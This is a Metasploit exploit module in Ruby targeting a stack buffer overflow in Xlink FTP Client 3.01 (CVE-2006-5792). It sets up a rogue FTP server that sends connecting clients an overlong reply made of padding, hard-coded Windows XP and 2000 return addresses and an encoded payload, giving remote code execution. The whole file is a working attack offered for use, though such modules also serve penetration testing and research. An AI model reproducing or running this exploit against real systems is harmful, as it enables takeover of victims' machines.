##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Xlink FTP Client Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Xlink FTP Client 32
        Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
        When an overly long FTP server response is received by a client,
        arbitrary code may be executed.
      },
      'Author' 	 => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-5792' ],
          [ 'OSVDB', '33969' ],
          [ 'URL', 'http://www.xlink.com' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 550,
          'BadChars' => "\x00\x0a\x0d\().,",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
          [ 'Windows 2000 SP4 English', 	{ 'Ret' => 0x7ce02a2d } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 3 2009',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
      ])
  end

  def on_client_connect(client)

    return if ((p = regenerate_payload(client)) == nil)

    sploit =  rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
    sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"

    print_status("Sending #{self.name}...")
    client.put(sploit)

    handler(client)
    service.close_client(client)

  end
end
